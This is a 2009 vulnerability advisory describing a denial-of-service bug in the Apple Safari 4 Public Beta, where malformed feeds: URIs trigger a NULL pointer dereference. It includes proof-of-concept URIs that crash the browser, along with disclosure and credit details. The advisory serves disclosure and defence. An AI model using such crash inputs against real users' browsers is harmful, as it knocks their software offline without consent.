Apple Safari 4 Beta feeds: URI NULL Pointer Dereference Denial of Service Vulnerability Date: Feb 25 2009 Class: Input Validation Error Local: Yes Remote: Yes Vulnerable Versions: * Apple Safari 4 (528.16) Public Beta Note: MacOS X versions not tested. Description: Apple Safari is prone to a denial-of-service vulnerability, caused by a NULL pointer defernce bug, because it fails to adequately sanitize user-supplied input within afeeds: URI. Attackers can exploit this issue to cause denial-of-service conditions on a users computer and crash the Safari process. Proof-of-Concept: feeds:%&www.rec-sec.com/feed/ feeds:{&www.rec-sec.com/feed/ feeds:}&www.rec-sec.com/feed/ feeds:^&www.rec-sec.com/feed/ feeds:`&www.rec-sec.com/feed/ feeds:|&www.rec-sec.com/feed/ Any feeds: URI containing one of these characters will cause a denial-of-service condition. Disclosure: Vendor has been informed. Solution: No solution. Credit: Trancer http://www.rec-sec.com Trancer0nly Human